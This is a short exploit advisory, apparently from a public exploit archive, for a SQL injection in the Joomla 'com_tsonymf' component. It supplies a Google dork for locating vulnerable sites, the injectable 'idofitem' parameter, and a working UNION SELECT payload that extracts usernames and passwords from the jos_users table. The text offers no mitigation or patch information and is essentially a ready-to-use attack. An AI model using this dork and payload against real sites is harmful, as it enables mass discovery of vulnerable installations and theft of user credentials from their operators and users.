The Joomla Tsonymf component suffers from a remote SQL injection vulnerability.
edeb2f41317dc25b5a733a6517099fc8d1df11868c3c4e62d35efc4912f98155
################################################################################################
# Exploit Title: Joomla Component (com_tsonymf) SQL Injection Vulnerability
#
# Author : CoBRa_21
#
# E-Mail : uyku_cu [at] windowslive.com
#
# Google Dork : inurl:com_tsonymf
#
# Status : High-Risk
#
# Script Page : null
#
################################################################################################
#
# SQL Vulnerability
#
# https://127.0.0.1/[PATH]/index.php?option=com_tsonymf&controller=fpage&task=flypage&idofitem=162 (SQL)
#
# SQL Exploit
#
# +union+select+0,1,group_concat(username,0x3a,password)+from+jos_users
#
################################################################################################
# ( Vulnerability Researcher )
################################################################################################